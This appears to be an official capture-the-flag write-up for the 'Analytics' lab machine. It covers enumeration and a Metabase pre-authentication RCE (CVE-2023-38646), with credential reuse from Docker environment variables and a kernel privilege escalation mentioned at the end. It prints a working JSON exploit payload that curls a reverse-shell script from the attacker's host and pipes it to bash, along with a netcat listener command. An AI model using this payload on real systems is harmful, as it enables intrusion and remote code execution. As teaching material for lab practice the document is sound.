Analytics
Analytics
Analytics
Difficulty: Easy
Classification: Official
Synopsis
Analytics is an easy difficulty Linux machine with exposed HTTP and SSH services. Enumeration of
the website reveals a Metabase instance, which is vulnerable to Pre-Authentication Remote Code
Execution ( CVE-2023-38646 ), which is leveraged to gain a foothold inside a Docker container.
Enumerating the Docker container we see that the environment variables set contain credentials
that can be used to SSH into the host. Post-exploitation enumeration reveals that the kernel
version that is running on the host is vulnerable to GameOverlay , which is leveraged to obtain root
privileges.
Skills Required
Web Enumeration
Linux Fundamentals
Skills Learned
Metabase Enumeration
Kernel exploitation
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.129.229.224 | grep '^[0-9]' | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.229.224
Nmap reveals two open ports. On port 22 SSH is running and on port 80 an Nginx web server.
Since we do not have any credentials to log in via SSH, we will start by looking at port 80 .
HTTP
Browsing to port 80 , we notice we are being redirected to analytical.htb . We add the domain
to our /etc/hosts/ file to resolve it:
We see that there is a Metabase instance running. Metabase is an open source tool that allows
for powerful data instrumentation, visualization, and querying. It allows users to easily create and
share interactive dashboards, perform ad-hoc queries, and analyze data from various sources.
Foothold
Since we do not have credentials to access the Metabase instance we try looking at the version to
see if we find any vulnerabilities.
We can find the token by accessing the /api/session/properties endpoint and searching for
setup-token .
Armed with the setup token, we can send a POST request to /api/setup/validate endpoint to
achieve remote code execution.
Note: Metasploit has since released a module to automate this exploit, but we will go
through the motions manually. To use the Metasploit module, enter msfconsole and load it
via use exploit/linux/http/metabase_setup_token_rce .
First, we save a reverse shell payload to a file, in order to host it on a local web server:
The above one-liner command will create a Bash script named rev.sh in our current working
folder. This is what we will use to initiate the reverse shell connection to our Netcat listener,
using the exploit.
As we have our Bash reverse shell script ready, let's start a Python web server on port 8081 , in
the same directory where we saved the script.
We will use the below command to start a Netcat listener, which we will use to interact with our
reverse shell connection once our script has been executed.
nc -lnvp 4444
Finally, we use the PoC from the aforementioned blog to construct a POST request, in order to
retrieve our reverse shell from the local server and execute it. To accomplish this, we utilize the
Repeater feature in Burp Suite .
Navigating BurpSuite is beyond the scope of this writeup, but those interested can refer to
the Academy module Using Web Proxies.
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-
database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c
{curl,10.10.14.70:8081/rev.sh}|bash')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
Sending the request triggers a callback to our webserver, which subsequently sends a connection
back to our Netcat listener.
We have obtained a shell as the metabase user.
Lateral Movement
It quickly becomes evident that we are inside a Docker container, as indicated by the hostname
and the existence of a .dockerenv file in / .
Running the printenv command displays any environment variables that have been set.
printenv
Within the output, we find the credentials metalytics:An4lytics_ds20223# . We try using this
combination to SSH into the machine.
ssh metalytics@analytical.htb
Our attempt is successful, as we have authenticated as the metalytics user on the host. The user
flag can be found at /home/metalytics/user.txt .
Privilege Escalation
Enumerating the kernel version, we see that the target is using 6.2.0-25
uname -a
lsb_release -a
Various Proof of Concept (PoC) scripts have since been published. We can use the following to
one-liner to gain a shell as root :